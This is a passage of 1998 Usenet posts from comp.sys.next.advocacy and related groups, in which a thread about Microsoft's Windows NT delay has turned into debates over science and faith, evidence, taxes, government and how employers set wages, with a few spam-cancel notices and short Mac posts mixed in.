top it all off, the "Rationalists" are out to get you. Good thing you, your
family and your neighbors are all well-armed. I bet you sleep better at night
with your 9mm Sig-Sauer.
--
invert: umich.edu jdevlin
insert: shift "2"
From: Michael Peck <Michael.Peck@ericsson.com>
Newsgroups: comp.sys.next.advocacy
Subject: Re: Free (Microsoft Delays Win NT)
Date: Tue, 07 Jul 1998 18:04:10 -0500
Organization: Ericsson North America Inc.
Message-ID: <35A2A96A.4C492F62@ericsson.com>
References: <359A90F9.A546707D@alum.mit.edu> <359A9359.984C1A9D@exu.ericsson.se> <6ne590$238@shelob.afs.com> <359AA759.223E97B4@exu.ericsson.se> <6neblu$2hd@shelob.afs.com> <359B23CC.8672B274@trilithon.com> <joe.ragosta-0207980828430001@wil46.dol.net> <359B92BB.8BCF78CC@nstar.net> <joe.ragosta-0207981153310001@wil55.dol.net> <359BB732.66127BE@exu.ericsson.se> <joe.ragosta-0207981315530001@wil82.dol.net> <359BF904.AB972774@exu.ericsson.se> <joe.ragosta-0207981946550001@elk59.dol.net> <6nisor$hs6$1@camel21.mindspring.com> <slrn6prd12.ovd.NOSPAMmbkennelNOSPAM@lyapunov.ucsd.edu> <359DE494.B5F41988@nstar.net> <1dbndwa.gvcd5ht4ekf6N@hoorn17.multiweb.net> <359E65C0.77C48BC9@nstar.net> <35a29bca.10515777@news.hex.net>
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Peter Koren wrote:
> Evolution is a process that thrives on the edge of chaos. It
> is so powerful that bright folks are stealing some of its
> methods to design things and processes. I just saw an
> article about using genetic algorithms to design FPGAs.
I've got a friend who loves to talk about this; he thinks it's the
future of computer science.
Anyway, you say that evolution thrives on the edge of chaos; what's
chaotic about a genetic algorithm? I thought algorithms were ordered.
> The
> evolutionary process took advantage of the parasitics on the
> chip, suprising the experimenters, to design a highly
> successful filter, which the experimenters could not explain
> because of the complexity of the non-linearities. These
> designers created a combined analog-digital FPGA because a
> simplified evolutionary algorithm could invent "clever"
> constructs without even being told how. Einstein was wrong.
Uh, no. The fact that the level of complexity inherent to the solution
was beyond human ability to describe by no means demonstrates that
either the algorithm or the solution was chaotic. If a man randomly puts
dots onto the screen in the classic game of life and finds that,
according to the rules of the game, certain patterns "evolve" into
stable "lifeforms", would you say that the man's chaotic data entry was
an example of chaos rising into order? Or would you instead say that a
created order simply dictated random input in ordered ways, and that
some input happened to result in stability because of that created
order?
> Rubbish! In fact a Belgian physicist, Illya Prigogene, won a
> Nobel Prize for describing the self organizing ability of
> living systems within the restrictions of the laws of
> thermodynamics.
Your point? A group of flatworms with zero intelligence may have
self-organizing ability, none of which demonstrates that such order
arises spontaneously. There is fundamentally nothing to differentiate
evolution from its precursor in science (spontaneous generation) except
that its proponents have attached to it a number of discreet
observations of existing order that, taken as a cohesive and holistic
description of circumstances (they are anything but), are used to
"prove" that life did, in fact, spontaneously arise from chaotic atoms.
> Science advances, while superstition retreats.
Actually, post-modernist random conjecture advances, while
pre-suppositionalist engagement of truth retreats. A sad state of
affairs, alas.
MJP
From: Matthew Cromer <matthew_cromer@iname.com>
Newsgroups: comp.sys.next.advocacy,talk.politics.libertarian
Subject: Re: Microsoft Delays Win NT
Date: 7 Jul 1998 23:22:14 GMT
Organization: NETworthy Inc.
Distribution: world
Message-ID: <6nuaj6$d5j$1@camel18.mindspring.com>
References: <359A90F9.A546707D@alum.mit.edu> <35a29bca.10515777@news.hex.net> <5qxo1.2786$24.16251625@news.itd.umich.edu> <35A2A96A.4C492F62@ericsson.com>
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In article <5qxo1.2786$24.16251625@news.itd.umich.edu> ,
not@my.address.net writes:
>You're oppressed by sales taxes and sex education in the public
>schools, oppressed by any form of democratic government for that matter, and to
>top it all off, the "Rationalists" are out to get you. Good thing you, your
>family and your neighbors are all well-armed. I bet you sleep better at night
>with your 9mm Sig-Sauer.
>
Ok, now you defend sales taxes. Explain why sales and other taxes are
moral. Explain why Michael should pay property tax to teach children in
public schools things he finds morally wrong.
Matthew Cromer
From: Michael Peck <Michael.Peck@ericsson.com>
Newsgroups: comp.sys.next.advocacy
Subject: Re: Free (Microsoft Delays Win NT)
Date: Tue, 07 Jul 1998 18:35:39 -0500
Organization: Ericsson North America Inc.
Message-ID: <35A2B0CB.A93502FC@ericsson.com>
References: <359A90F9.A546707D@alum.mit.edu> <359A9359.984C1A9D@exu.ericsson.se> <6ne590$238@shelob.afs.com> <359AA759.223E97B4@exu.ericsson.se> <6neblu$2hd@shelob.afs.com> <359B23CC.8672B274@trilithon.com> <joe.ragosta-0207980828430001@wil46.dol.net> <359B92BB.8BCF78CC@nstar.net> <joe.ragosta-0207981153310001@wil55.dol.net> <359BB732.66127BE@exu.ericsson.se> <joe.ragosta-0207981315530001@wil82.dol.net> <359BF904.AB972774@exu.ericsson.se> <joe.ragosta-0207981946550001@elk59.dol.net> <6nisor$hs6$1@camel21.mindspring.com> <slrn6prd12.ovd.NOSPAMmbkennelNOSPAM@lyapunov.ucsd.edu> <359DE494.B5F41988@nstar.net> <1dbndwa.gvcd5ht4ekf6N@hoorn17.multiweb.net> <359E65C0.77C48BC9@nstar.net> <6nrjao$bnb$1@news.spacelab.net> <35A18478.E8BE0DFD@nstar.net> <6nts6h$hhn$1@news.spacelab.net> <35A289CA.FCC89397@ericsson.com> <5qxo1.2786$24.16251625@news.itd.umich.edu>
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not@my.address.net wrote:
> You're letting all this talk about proof do too much work for you. I think CWwould settle for something less, like evidence. I know that I would. It's just
> that most of us work with a rough principle of proportionality: strong claims
> require strong evidence. That's a basic principle of science. And that's what
> distinguishes science from religion.
They do? It takes an extraordinarily small amount of evidence to
demonstrate that something exists; one must simply produce the thing.
Demonstration of existence must be very weak evidence; indeed, Descartes
assumed that he could prove his own existence as a direct consequence of
his single assumption: "I think".
Even so, to claim, mere decades ago, that the coelacanth existed would
surely have aroused great indignation and snorts of derision. Strong
evidence? The swimming body of a living, modern coelacanth? It seems
inconsequential to me, since fisherman had doubtless been catching them
on occasion for centuries, unaware that modern science denied the
existence of the fish from which they made their living.
The "strong claims/strong evidence" argument is nothing more than a
common operating principle; it cannot underlie a system as absolute and
infallible as science purports to be. If you claim that strong claims
require strong evidence, and someone makes a claim but fails to provide
sufficient evidence to satisfy you, you have two options: one, assume
that you do not know the truth about this claim and continue in
ignorance; two, assume that the claim is false.
Which is your default position? Do you claim that claims of a created
order are false? Or do you insist that you cannot know the truth?
> >'unreasonable' in the scientific mind precisely because the
> >Rationalistic faith presumes to elevate reason (as observed in the
> >highest known animal, Man) to the status of infallibility (deity, if you
> >will).
>
> Whoever said anything about infallibility? Most scientists are ardent
> fallibilists, and for just the reason you mention: new evidence is always a
> possibility, and with new evidence comes the possibility that a reasonable
> person (that is one who's beliefs track the available evidence) will have to
> change their minds.
The fallibility of evidence and of reason are not in question; only the
fallibility of conclusions is mentioned in your paragraph, or assumed in
the faith of science. This is odd, seeing as how evidence and reason are
the only two ingredients claimed by adherents of the faith of science to
be constitutionary to their conclusions. How can scientific beliefs be
wrong if evidence and reason are sound? Does "new evidence" directly
contradict old evidence, such that an impossible paradox is created? Or
does "evidence" mean something besides objective truth? The fact that
your faith admits to the existence of "new evidence" as "changing minds"
means that conclusions are reached on the basis of *incomplete*
evidence. Now, how can reason be engaged on the basis of anything but
objective truth?
One may, indeed, say that Man is rational, but only *occasionally*
rational.
> I know. God-fearing Americans like you are forced to contend with a public
> that's largely unsympathetic and even hostile to your religious beliefs -- even
> in Texas. You're oppressed by sales taxes and sex education in the public
> schools, oppressed by any form of democratic government for that matter, and to
> top it all off, the "Rationalists" are out to get you. Good thing you, your
> family and your neighbors are all well-armed. I bet you sleep better at night
> with your 9mm Sig-Sauer.
What I find most notable about your posts is that they all seem to end
with a summary of what you would like to believe that I believe. In each
and every post you make, despite the fact that I am in equal, if not
greater, communication with this newsgroup on a daily basis, you say,
effectively, "This is what Michael Peck believes:", followed by a
description of what you have decided I believe.
Now, either you have decided that you have all of the evidence
pertaining to this question, or you have come to an incomplete and
theoretical assumption. You might argue that you have come to this
conclusion pending the arrival of "new evidence", and I suppose that
that answers my question about default positions, above.
All of this seems to indicate the following:
1) You do not claim to have complete possession of relevant evidence
concerning matters of divinity.
2) You do claim to act within reason.
3) You make conclusions despite your lack of evidence.
4) Your default position is disbelief of any claims.
Does this mean that you're living in a state of denial? Or does it just
mean that you're indolent? Do "strong demands" require "strong
motivation"?
MJP
From: jsavard@tenMAPSONeerf.edmonton.ab.ca (John Savard)
Newsgroups: comp.sys.mac.advocacy,comp.sys.next.advocacy
Subject: A Mac is nothing like a computer??? (Corrected Repost)
Date: Wed, 08 Jul 1998 00:24:41 GMT
Organization: Videotron Communications Ltd.
Message-ID: <35a2bc2b.275698@news.prosurfr.com>
References: <macghod-2506980011070001@sdn-ar-001casbarp024.dialsprint.net> <slrn6p4rke.1j4.adamb@huitzilo.tezcat.com>
adamb@tezcat.com (Adam Bailey) wrote, in part:
>In message <macghod-2506980011070001@sdn-ar-001casbarp024.dialsprint.net>, Steve Sullivan <macghod@concentric.net> wrote...
>>I told him if he is a newby, he probably would of been better served with
>>a mac. He then made the assertation which is the subject of this post.
>>He said he bought a beta, and it became obsolete and he couldnt buy any
>>movies for it (everything is now in vhs), and he doesnt want that to
>>happen to his computer (of course this is *GUARENTEED* to happen to any
>>computer you buy, pc or mac. Computers advance so quickly eventually ANY
>>computer will be obsolete)
>I've always hated that argument, because the VCR is nothing like the
>computer.
What if he had said that
he bought an Atari ST, and now he can't get any software for it
or
he bought an Amiga, and now he can't get any software for it
and he didn't want it to happen again, so he wasn't buying a Mac?
Sure, computers get obsolete quickly - but that's no reason for one
to go courting having it happen any quicker...
John Savard
http://www.freenet.edmonton.ab.ca/~jsavard/index.html
From: Cosmo Roadkill <cosmo.roadkill%bofh.int@rauug.mil.wi.us>
Newsgroups: comp.sys.next.advocacy
Subject: cmsg cancel <07071998230141wthock@pop.jaring.my>
Control: cancel <07071998230141wthock@pop.jaring.my>
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Article cancelled as EMP/ECP, exceeding a BI of 20.
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From: rmcassid@uci.edu (Robert Cassidy)
Newsgroups: comp.sys.next.advocacy
Subject: Re: Free (Microsoft Delays Win NT)
Date: Tue, 07 Jul 1998 18:00:30 -0700
Organization: UC Irvine, School of Engineering
Message-ID: <rmcassid-0707981800300001@dante.eng.uci.edu>
References: <359A90F9.A546707D@alum.mit.edu> <359A9359.984C1A9D@exu.ericsson.se> <6ne590$238@shelob.afs.com> <359AA759.223E97B4@exu.ericsson.se> <6neblu$2hd@shelob.afs.com> <359B23CC.8672B274@trilithon.com> <joe.ragosta-0207980828430001@wil46.dol.net> <359B92BB.8BCF78CC@nstar.net> <joe.ragosta-0207981153310001@wil55.dol.net> <359BB732.66127BE@exu.ericsson.se> <joe.ragosta-0207981315530001@wil82.dol.net> <359BF904.AB972774@exu.ericsson.se> <joe.ragosta-0207981946550001@elk59.dol.net> <6nisor$hs6$1@camel21.mindspring.com> <slrn6prd12.ovd.NOSPAMmbkennelNOSPAM@lyapunov.ucsd.edu> <359DE494.B5F41988@nstar.net> <1dbndwa.gvcd5ht4ekf6N@hoorn17.multiweb.net> <359E65C0.77C48BC9@nstar.net> <6nrjao$bnb$1@news.spacelab.net> <35A18478.E8BE0DFD@nstar.net> <6nts6h$hhn$1@news.spacelab.net> <35A289CA.FCC89397@ericsson.com>
In article <35A289CA.FCC89397@ericsson.com>, Michael Peck
<Michael.Peck@ericsson.com> wrote:
>Or maybe you meant to say that by definition theory is unproven (and not
>surprisingly, at the moment, unproveable). If so, then I wholeheartedly
>agree. That doesn't rule out the possibility of debate, to be sure, but
>many people who dismiss the "supernatural" out of hand often claim that
>"I cannot debate this; you accept the existence of something you cannot
>prove, therefore we have no common ground." Ignoring the fact that they
>cannot 'prove' even their own existence, such people insist on their own
>brand of "religion" (one assumes it's a more comfortable mantle of
>faith).
Generally the measure is 'disprovability'. If a prediction is made, in
order for it to have value, it must exhibit some degree of disprovability.
The more outrageous the prediction and the more readily disprovable it is,
the more credibility is granted to the predictor. That's how it's always
worked. Einstein predicted that starlight passing near the sun would bend.
Quite outrageous at the time. The next solar eclipse was an opportunity to
prove him wrong. It turns out he was right, and to the degree he claimed.
His credibility grew considerably from events such as that.
So to make a claim that is not disprovable forces it to be little more
than opinion, and only worthy of a certain superficial amount of debate.
Otherwise you are only debating for the sake of doing so, which is still
fun, but yields no other results.
-Bob Cassidy
Subject: Re: Free (Microsoft Delays Win NT)
Newsgroups: comp.sys.next.advocacy
References: <359A90F9.A546707D@alum.mit.edu> <359A9359.984C1A9D@exu.ericsson.se> <6ne590$238@shelob.afs.com> <359AA759.223E97B4@exu.ericsson.se> <6neblu$2hd@shelob.afs.com> <359B23CC.8672B274@trilithon.com> <joe.ragosta-0207980828430001@wil46.dol.net> <359B92BB.8BCF78CC@nstar.net> <joe.ragosta-0207981153310001@wil55.dol.net> <359BB732.66127BE@exu.ericsson.se> <joe.ragosta-0207981315530001@wil82.dol.net> <359BF904.AB972774@exu.ericsson.se> <joe.ragosta-0207981946550001@elk59.dol.net> <6nisor$hs6$1@camel21.mindspring.com> <slrn6prd12.ovd.NOSPAMmbkennelNOSPAM@lyapunov.ucsd.edu> <359DE494.B5F41988@nstar.net> <1dbndwa.gvcd5ht4ekf6N@hoorn17.multiweb.net> <359E65C0.77C48BC9@nstar.net> <6nrjao$bnb$1@news.spacelab.net> <35A18478.E8BE0DFD@nstar.net> <6nts6h$hhn$1@news.spacelab.net> <35A289CA.FCC89397@ericsson.com> <5qxo1.2786$24.16251625@news.itd.umich.edu> <35A2B0CB.A93502FC@ericsson.com>
In-Reply-To: <35A2B0CB.A93502FC@ericsson.com>
From: not@my.address.net
Message-ID: <%6Ao1.2797$24.16369792@news.itd.umich.edu>
Date: Wed, 08 Jul 1998 01:41:15 GMT
NNTP-Posting-Date: Tue, 07 Jul 1998 21:41:15 EDT
On 07/07/98, Michael Peck wrote:
>
>The fallibility of evidence and of reason are not in question; only the
>fallibility of conclusions is mentioned in your paragraph, or assumed in
>the faith of science. This is odd, seeing as how evidence and reason are
>the only two ingredients claimed by adherents of the faith of science to
>be constitutionary to their conclusions. How can scientific beliefs be
>wrong if evidence and reason are sound? Does "new evidence" directly
>contradict old evidence, such that an impossible paradox is created? Or
>does "evidence" mean something besides objective truth? The fact that
>your faith admits to the existence of "new evidence" as "changing minds"
>means that conclusions are reached on the basis of *incomplete*
>evidence. Now, how can reason be engaged on the basis of anything but
>objective truth?
>
Let's see if we can manage to get a clear thesis on the table, and then we might
be able to do something interesting with it.
Suppose someone had the following view: In order for a claim to count as
evidence for a hypothesis, that claim would have to entail the hypothesis. (By
"entail" I mean it that it would be impossible for the claim to be true and the
hypothesis to be false.) If that were a person's view, then it would indeed be
impossible for new evidence and old evidence to support incompatable hypotheses.
(Easy exercise -- no pair of consistent claims entails a pair of inconsistent
conclusions.) This sounds something like what you're trying to say, but it's
hard to tell.
However, (i) this is the only view I can think of about the relation between a
hypothesis and the evidence for it which has that consequence. And (ii) it's
not an attractive view -- For example, if I wake up and the streets are wet, I
take that to be evidence that it rained last night, even though it's possible it
did not.
>
>> I know. God-fearing Americans like you are forced to contend with a public
>> that's largely unsympathetic and even hostile to your religious beliefs --
>> even in Texas. You're oppressed by sales taxes and sex education in the
>> public schools, oppressed by any form of democratic government for that
>> matter, and to top it all off, the "Rationalists" are out to get you. Good
>> thing you, your family and your neighbors are all well-armed. I bet you
>> sleep better at night with your 9mm Sig-Sauer.
>
>What I find most notable about your posts is that they all seem to end
>with a summary of what you would like to believe that I believe.
Trust me; I really would like to believe that NO ONE held your views. But when
you say things like "by definition governments restrict liberty" and "it's
impossible to govern without oppressing" ... I have to face up to the surprising
fact that you think you would be oppressed by any form of democratic government.
(I mean, no matter how democratic a government, it's still a government; so it
still oppresses you, since by definition that's what governments do.) As for
sales taxes and sex education in the public schools, those are your examples, if
you'll recall. And I had never heard of a Sig-Sauer until you told us about
yours.
I am, however, only speculating about you sleeping better. It's conceivable
that with you thinking the government is out to get you, etc. etc. you don't
sleep very well at all.
--
invert: umich.edu jdevlin
insert: shift "2"
From: Matthew Cromer <matthew_cromer@iname.com>
Newsgroups: comp.sys.next.advocacy
Subject: Re: Microsoft Delays Win NT
Date: 8 Jul 1998 02:16:23 GMT
Organization: NETworthy Inc.
Distribution: world
Message-ID: <6nukpn$p4g$1@camel21.mindspring.com>
References: <359A90F9.A546707D@alum.mit.edu> <35A2B0CB.A93502FC@ericsson.com> <rmcassid-0707981800300001@dante.eng.uci.edu>
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In article <%6Ao1.2797$24.16369792@news.itd.umich.edu> ,
not@my.address.net writes:
>Trust me; I really would like to believe that NO ONE held your views. But when
>you say things like "by definition governments restrict liberty" and "it's
>impossible to govern without oppressing" ... I have to face up to the surprising
>fact that you think you would be oppressed by any form of democratic government.
>(I mean, no matter how democratic a government, it's still a government; so it
>still oppresses you, since by definition that's what governments do.) As for
>sales taxes and sex education in the public schools, those are your examples, if
>you'll recall. And I had never heard of a Sig-Sauer until you told us about
>yours.
Of course governments are oppressive.
Did you know that government confiscates 50% of your income?
How can you countenance that?
How can I not be oppressed when half of the fruits of my labor are
extorted away?
>
>I am, however, only speculating about you sleeping better. It's conceivable
>that with you thinking the government is out to get you, etc. etc. you don't
>sleep very well at all.
Research project for you: Tell me how many people have been killed by
their governments this century, and how many have been murdered by
individuals. Paranoia is _irrational_ fear.
Matthew Cromer
From: jcr.remove@this.phrase.idiom.com (John C. Randolph)
Newsgroups: comp.sys.next.advocacy,talk.politics.libertarian
Subject: Re: Microsoft Delays Win NT
Date: 8 Jul 1998 02:31:02 GMT
Organization: The World's Usenet -- http://www.Supernews.com
Distribution: world
Message-ID: <6null6$dsd$1@supernews.com>
References: <359A90F9.A546707D@alum.mit.edu> <joe.ragosta-0707980825390001@wil42.dol.net>
<6nts6h$hhn$1@news.spacelab.net> <35A289CA.FCC89397@ericsson.com>
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Cc: matthew_cromer@iname.com
Matthew Cromer may or may not have said:
-> In article <joe.ragosta-0707980825390001@wil42.dol.net> Joe Ragosta,
-> joe.ragosta@dol.net writes:
-> >> I guess your definition of economic "control" is looser than mine. If
I
-> >> controlled a situation I would want more than 20% of the income from
it.
-> >>
-> >
-> >Then you don't have a clue about microeconomics.
-> >
-> >Even the most greedy industrialist will want only the maximum amount they
-> >can take without creating an unstable situation. If they took more than
-> >some threshhold amount (even if they have the power to do so), the
-> >situation rapidly becomes unstable and you risk a revolution.
->
-> So the reason my employer doesn't halve my pay is because he doesn't want
-> to risk a revolution? And then you say I don't have a clue?
Actually, the real task that an employer has when it comes to setting wage
levels, is to hire you for the least possible, but pay you and treat you well
enough that you don't get pissed off and leave.
So, among the factors that an employer needs to consider are: the cost of
replacing you (downtime while your replacement is recruited, trained, etc.)
and the likelihood of a different employer hiring you away, using some
combination of enticemticements, which may include better salary, more
prestige, better working conditions, vacation time, etc.
Short-sighted employers pay a price in turnover, which is far more costly
than most managers realize.
-jcr
From: Matthew Cromer <matthew_cromer@iname.com>
Newsgroups: comp.sys.next.advocacy,talk.politics.libertarian
Subject: Re: Microsoft Delays Win NT
Date: 8 Jul 1998 02:59:13 GMT
Organization: NETworthy Inc.
Distribution: world
Message-ID: <6nuna1$gl6$1@camel18.mindspring.com>
References: <359A90F9.A546707D@alum.mit.edu> <%6Ao1.2797$24.16369792@news.itd.umich.edu> <6nukpn$p4g$1@camel21.mindspring.com> <6null6$dsd$1@supernews.com>
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In article <6null6$dsd$1@supernews.com> John C. Randolph,
jcr.remove@this.phrase.idiom.com writes:
>Actually, the real task that an employer has when it comes to setting wage
>levels, is to hire you for the least possible, but pay you and treat you well
>enough that you don't get pissed off and leave.
>
>So, among the factors that an employer needs to consider are: the cost of
>replacing you (downtime while your replacement is recruited, trained, etc.)
>and the likelihood of a different employer hiring you away, using some
>combination of enticemticements, which may include better salary, more
>prestige, better working conditions, vacation time, etc.
>
>Short-sighted employers pay a price in turnover, which is far more costly
>than most managers realize.
>
>-jcr
>
Also, very often when you pay rates better than the market average, your
employees (who most certainly have a good idea what they could make
somewhere else) are more productive, work harder, are more honest, loaf
less on the job, are happier, etc. and end up saving you money in the
long run.
All of which flies in the face of the Marxist assumptions, of course.
Matthew Cromer
From: gupta@kcopsrm.tm.tta.moc-mirror after @
Newsgroups: comp.sys.next.advocacy
Subject: Re: Free (Microsoft Delays Win NT)
Date: 8 Jul 1998 03:28:00 GMT
Organization: IMEMYSELF
Sender: Arun Gupta
Message-ID: <6nup00$b9u@newsb.netnews.att.com>
References: <359A90F9.A546707D@alum.mit.edu> <joe.ragosta-0207981946550001@elk59.dol.net> <6nisor$hs6$1@camel21.mindspring.co <35A289CA.FCC89397@ericsson.com>
Originator: gupta@tlctest
Michael Peck <Michael.Peck@ericsson.com> wrote:
>Precisely because the foundation of what I espouse is external to what
>Rationalism has accepted as 'reason'. Much as the existence of living
>coelacanths seemed 'unreasonable' to most evolutionary scientists before
>the discovery of actual living coelacanths reset those boundaries, that
>which challenges existing assertions and assumptions is considered
>'unreasonable' in the scientific mind precisely because the
>Rationalistic faith presumes to elevate reason (as observed in the
>highest known animal, Man) to the status of infallibility (deity, if you
>will).
>
>So, in essence, it's your God against mine. Semantically speaking, this
>is highly objectionable to the Rationalist, but it's true, nevertheless.
This "Rationalist" seems strongly to be a strawman. Those with the
scientific mind hardly claim infallibility. The way of science is to
constantly make assertions, and then try to invalidate them.
Niels Bohr worked by setting up theories on Mondays, Wednesdays and
Fridays, and trying to shoot them down on Tuesdays, Thursdays and
Saturdays. While the set of scientists as a whole do not exhibit the
same energy and imagination, that is pretty much the way science works.
Reason is not infallibility nor is it deity. It is merely the method
that most often works. Moreover, it is the means of public discourse.
Many are the mathematicians, for example, who have convinced themselves
of the truth of some proposition by a flash of intuition. On introspection,
they don't believe that they arrived at their result by reason. If they
were Fermat or Ramanujam, they didn't bother to publish a proof. However,
propositions enter the public discourse of mathematics via proofs -- i.e.,
win acceptance by providing the chain of reasoning that anyone can follow.
There are many aspects of life that we do not subject to reason.
A mother does not have to reason why she loves her child; but nor
do we demand any such demonstration. To know the fact of this love
we don't use reason in the sense of scientific or mathematical demonstration.
-arun gupta
From: gupta@kcopsrm.tm.tta.moc-mirror after @
Newsgroups: comp.sys.next.advocacy
Subject: Re: Free (Microsoft Delays Win NT)
Date: 8 Jul 1998 03:37:09 GMT
Organization: IMEMYSELF
Sender: Arun Gupta
Message-ID: <6nuph5$bbu@newsb.netnews.att.com>
References: <359A90F9.A546707D@alum.mit.edu> <joe.ragosta-0207981946550001@elk59.dol.net> <6nisor$hs6$1@camel21.mindspring.co <35A289CA.FCC89397@ericsson.com>
Originator: gupta@tlctest
Michael Peck <Michael.Peck@ericsson.com> wrote:
>
>Much as the Rationalist refuses to acknowledge that "revealed truth"
>could be truth, indeed? The last five centuries have marked the
>development of an entire philosophy devoted to the belief that That
>Which Man Proveth Not, Existeth Not.
Perhaps the strawman Rationalist thinks so. I think more
correctly, that which Man cannot demonstrate through reason,
observation and experiment, Man must agree to disagree on.
Example :
The truth revealed to the Prophet Muhammad is rather
different than the truth Christians believe is given in the Bible.
As far as historicity, accounts of witnesses, etc. goes, the
Quran is in an infinitely more satisfactory state than the
New Testament (I am not a Muslim, if that is relevant, btw.)
The Prophet Muhammad gives an account of Jesus that differs in
its meaning from that which Christians believe. So, which
revealed truth to believe in ? And there is Thomas Paine,
who points out that all revelation is hearsay, unless the
revelation came to you, in which case it is hearsay to everyone
else.
-arun gupta
From: gupta@kcopsrm.tm.tta.moc-mirror after @
Newsgroups: comp.sys.next.advocacy
Subject: Re: Free (Microsoft Delays Win NT)
Date: 8 Jul 1998 03:42:54 GMT
Organization: IMEMYSELF
Sender: Arun Gupta
Message-ID: <6nupru$bcb@newsb.netnews.att.com>
References: <359A90F9.A546707D@alum.mit.edu> <joe.ragosta-0207981946550001@elk59.dol.net> <6nisor$hs6$1@camel21.mindspring.co <35A2B0CB.A93502FC@ericsson.com>
Originator: gupta@tlctest
Michael Peck <Michael.Peck@ericsson.com> wrote:
>They do? It takes an extraordinarily small amount of evidence to
>demonstrate that something exists; one must simply produce the thing.
>Demonstration of existence must be very weak evidence; indeed, Descartes
>assumed that he could prove his own existence as a direct consequence of
>his single assumption: "I think".
Really ? I recall much of the history of science as being the struggle
to demonstrate the existence of atoms, quarks, electrons, electromagnetic
radiation, gravitational radiation, black holes, neutron stars, etc., etc.
Demonstration of existence took or continues to take very hard intellectual
work and considerable technological and financial resources. You will
notice that "producing the thing" is possible only in very limited cases.
Once it is beyond the scope of our five senses, it is hard.
-arun gupta
From: gupta@kcopsrm.tm.tta.moc-mirror after @
Newsgroups: comp.sys.next.advocacy
Subject: Re: Free (Microsoft Delays Win NT)
Date: 8 Jul 1998 03:50:21 GMT
Organization: IMEMYSELF
Sender: Arun Gupta
Message-ID: <6nuq9t$bgv@newsb.netnews.att.com>
References: <359A90F9.A546707D@alum.mit.edu> <joe.ragosta-0207981946550001@elk59.dol.net> <6nisor$hs6$1@camel21.mindspring.co <35A289CA.FCC89397@ericsson.com>
Originator: gupta@tlctest
Michael Peck <Michael.Peck@ericsson.com> wrote:
>>
>> What these experiments do is remove the middle ground. Either you accept the
>> experimental evidence that quantum uncertainty is a genuine description of
>> how the world works, or you fall back on the proposition that there's a
>> divine puppeteer backstage, watching every sparrow fall, guiding every
>> conjugate pair of polarized light photons or neutral kaons in precisely the
>> right way to deceive the experimenters testing Bell's inequality.
>
>In other words, the concept of uncertainty within creation and the
>existence of a Creator without are incompatible?
No, incompability arises when you postulate any properties of the
purported Creator -- e.g., omniscience.
-arun gupta
From: Cosmo Roadkill <cosmo.roadkill%bofh.int@rauug.mil.wi.us>
Newsgroups: comp.sys.next.advocacy,comp.sys.next.bugs,comp.sys.next.hardware
Subject: cmsg cancel <13094272820068352@trib.com>
Control: cancel <13094272820068352@trib.com>
Date: 08 Jul 1998 05:51:23 GMT
Organization: BOFH Space Command, Usenet Division
Message-ID: <cancel.13094272820068352@trib.com>
Sender: wyoinst@trib.com
Article cancelled as EMP/ECP, exceeding a BI of 20.
The "Current Usenet spam thresholds and guidelines" FAQ is available at
http://www.uiuc.edu/ph/www/tskirvin/faqs/spam.html
Please include the X-CosmoTraq header of this message in any correspondence
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Sick-O-Spam, Spam-B-Gon!
From: sanguish@digifix.com (Scott Anguish)
Newsgroups: comp.sys.next.advocacy,comp.sys.mac.advocacy
Subject: Re: Mac OS X UI
Date: 8 Jul 1998 03:57:47 GMT
Organization: Digital Fix Development
Message-ID: <6nuqnr$arv$1@news.digifix.com>
References: <358EEC0C.248A@earthlink.net> <6mobfr$odg$1@hole.sdsu.edu> <3591FF45.40D0@earthlink.net> <6mua07$7ps$1@hole.sdsu.edu> <359355C7.35E4@earthlink.net> <3593D6F3.871ED245@nstar.net> <6n0q8j$o4j$1@ndnws01.ne.highway1.com> <3593EEF0.4785E327@nstar.net> <6n11me$sen$1@ndnws01.ne.highway1.com> <35941317.FC21AD89@nstar.net> <6n1s6g$ldf$1@ndnws01.ne.highway1.com> <35950368.F8A5D7A7@nstar.net> <6n3g42$1nf$1@ndnws01.ne.highway1.com> <andyba-ya02408000R0107981550100001@news> <6nekto$j0g4@odie.mcleod.net> <Pine.SOL.3.96.980702105957.24877C-100000@ux10.cso.uiuc.edu> <uzpendo55.fsf@ai.mit.edu> <6nqrbs$37s$1@ns3.vrx.net> <6ns60v$dkf$1@news.digifix.com> <6nspfg$j8k$2@ns3.vrx.net>
In-Reply-To: <6nspfg$j8k$2@ns3.vrx.net>
On 07/07/98, Maury Markowitz wrote:
> BTW, anyone in this thread at the kernel sessions for MacOS-X?
Yep...
--
Scott Anguish <sanguish@digifix.com>
Stepwise - OpenStep/Rhapsody Information
<URL:http://www.stepwise.com>
From: Michael Peck <mjpeck@nstar.net>
Newsgroups: comp.sys.next.advocacy,talk.politics.libertarian
Subject: Re: Microsoft Delays Win NT
Date: Tue, 07 Jul 1998 23:10:33 -0500
Organization: ISPNews http://ispnews.com
Message-ID: <35A2F139.ADA83D1A@nstar.net>
References: <359A90F9.A546707D@alum.mit.edu> <joe.ragosta-0707980825390001@wil42.dol.net>
<6nts6h$hhn$1@news.spacelab.net> <35A289CA.FCC89397@ericsson.com>
<6nu45f$tg3$1@camel18.mindspring.com> <6null6$dsd$1@supernews.com>
Mime-Version: 1.0
Content-Type: text/plain; charset=us-ascii
Content-Transfer-Encoding: 7bit
NNTP-Posting-Date: 8 Jul 1998 04:15:17 GMT
John C. Randolph wrote:
> Actually, the real task that an employer has when it comes to setting wage
> levels, is to hire you for the least possible, but pay you and treat you well
> enough that you don't get pissed off and leave.
Not quite. They also pay you health benefits so that you'll be healthy
and work more effectively (indeed, work at all). They pay you bonuses as
a motivation to work harder and to increase enthusiasm for the company.
They pay some workers in product discounts to encourage them to use
their products. They pay in tuition reimbursements, sometimes for
non-work-related education so that employees will represent the company
well and feel confident that they are moving forward in life rather than
worshipping the almighty buck.
Ericsson funds its own E-Band, which plays for employees on occasions
and during the annual Wildflower Festival in Richardson, along with a
number of other companies in the Telecomm Corridor, to entertain the
community and to encourage a feeling of spirit for the area. A US CEO
recently sacrificed his entire paycheck to fund an educational
assistance program for the children of his employees. The examples are
rather abundant.
MJP
Subject: Re: Microsoft Delays Win NT
Newsgroups: comp.sys.next.advocacy
References: <359A90F9.A546707D@alum.mit.edu> <35A2B0CB.A93502FC@ericsson.com> <rmcassid-0707981800300001@dante.eng.uci.edu> <6nukpn$p4g$1@camel21.mindspring.com>
In-Reply-To: <6nukpn$p4g$1@camel21.mindspring.com>
From: not@my.address.net
Message-ID: <BACo1.2828$24.16478853@news.itd.umich.edu>
Date: Wed, 08 Jul 1998 04:29:21 GMT
NNTP-Posting-Date: Wed, 08 Jul 1998 00:29:21 EDT
On 07/07/98, Matthew Cromer wrote:
>
>Of course governments are oppressive.
>
